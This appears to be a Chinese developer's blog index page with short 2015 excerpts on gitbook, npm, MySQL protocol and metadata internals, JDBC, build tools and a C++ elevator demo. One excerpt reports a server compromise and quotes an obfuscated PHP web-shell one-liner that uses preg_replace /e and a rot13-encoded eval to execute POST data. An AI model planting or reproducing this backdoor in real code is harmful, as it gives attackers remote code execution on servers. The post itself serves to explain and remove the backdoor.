- 博客(11)
- 资源 (3)
- 收藏
- 关注
原创 如何用gitbook写书
假设你已经知道如何编写Markdown已经安装好gitbook软件目标生成一本小书,它有前言,章节1,章节2,后记。例如:简介第一章:如何造火箭 1. 燃料学 2. 空气动力学 3. 总装工程学第二章:如何回收火箭 1. 自动控制原理 2. 二次利用要点结束准备工作建一个写书的目录,以后所有工作都在这个目录下搞。例如/Users/rayw
2015-11-27 11:13:58 7758 2
原创 学习npm
Node大行其道,不知不觉生活中大部分前端产品都被Node重构,以阿里巴巴为例,收藏夹、我的淘宝、天猫首页、天猫会员、天猫电器城等等,都已经用Nodejs重写数据来源 。那么,Node到底是什么,威力为何如此巨大引无数英雄竞折腰呢?今天好好研究了一番,认为核心在NPM。简单讲,NPM就是一个下载器,通过它可以下载到几乎所有你需要的代码资源。它的成功,包括如下几个方面:海量资源:NPM背后有数以万计
2015-11-22 01:04:37 1919 2
原创 中木马了
服务器中了木马,代码如下:($b4dboy = $_POST['aaa']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');原理:这段代码将post进来的数据直接调用eval执行。解决方案:看来得把eval禁用掉了。
2015-11-20 12:20:12 1637 3
原创 详解MySQL Server端如何发送结果集给客户端
MySQL Server和Client之间的交互有一套定义得很明确的协议,称为MySQL Client/Server Protocol。 写数据库的人,只需要遵循这套协议来写程序,就能让自己的数据库被各种MySQL客户端连接,如mysql命令行,php mysql,JDBC等等。这是一个非常诱人的设计选择(Design Choice)!如果自己实现一套协议,写完数据库后,还需要给各种语言写客户端库,
2015-11-19 19:06:08 2233
转载 MySQL Field Class Hierarchy
每天睁眼看几遍,背下来就行了。Field (abstract)|+--Field_bit| +--Field_bit_as_char|+--Field_num (abstract)| | +--Field_real (asbstract)| | +--Field_decimal| | +--Field_float| |
2015-11-18 15:16:46 736
原创 JDBC驱动中的核心代码位置
mysql-connector-java-5.1.36-src/src/com/mysql/jdbc/MysqlIO.java+getResultSet protected ResultSetImpl getResultSet(StatementImpl callingStatement, long columnCount, int maxRows, int resultSet
2015-11-18 13:57:10 1052
原创 Precision和Length对MySQL执行结果的影响
Precision和Length对MySQL执行结果的影响是什么? 要回答这个问题,首先概念上要把Precision和Length区分开。Precision表示数值的精度,Length表示数值展示的宽度。他们的关系如下:Length = Function(Precision, Scale, DateType)数值列有zerofill修饰的情况下,它转化成字符串时,转化结果的Length受Prec
2015-11-17 19:13:03 3675 1
原创 想到哪写到哪百孔千疮漏洞百出MySQL MetaData Length实现
这是一篇吐槽贴 吐槽的对象是MySQL 吐槽的点是它计算length的算法 结论是:这代码写得,真是想到哪写到哪,千疮百孔,漏洞百出。以substr为例:mysql> select substr('1234', 4, 9);Field 1: `substr('1234', 4, 9)`Catalog: `def`Database: ``Table: ``Or
2015-11-17 12:10:11 728 2
原创 MySQL MetaData中PRI_KEY,PART_KEY,MULTIPLE_KEY,UNIQUE_KEY的内涵
CREATE TABLE pk0 (c1 int, c2 int, c3 int, c4 int, c5 int, PRIMARY KEY(c1));c1: NOT_NULL PRI_KEY NUM PART_KEYCREATE TABLE pk1 (c1 int, c2 int, c3 int, c4 int, c5 int, PRIMARY KEY(c1),KEY idx2 (
2015-11-09 16:58:14 1785
原创 History of UNIX Project Build Tools
History of UNIX Project Build Tools (The following is derived from the HACKING.txt file of the old open source project which I stopped supporting many years ago. R.I.P.)You might have not
2015-11-04 15:59:11 783
原创 小电梯,学问大
为了帮助新人学习C++,为了保证既直观,又具有一定的灵活度,电梯算法是一个不错的切入点。写了个小电梯作为demo。#include #include #include #include #include class Elevator {public: Elevator() : init_floor_(1), park_floor_(1) { /
2015-11-02 21:01:43 1010
同义词词林(扩展版)
2010-05-18
FASS简介-抗锯齿原理
2009-01-18
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人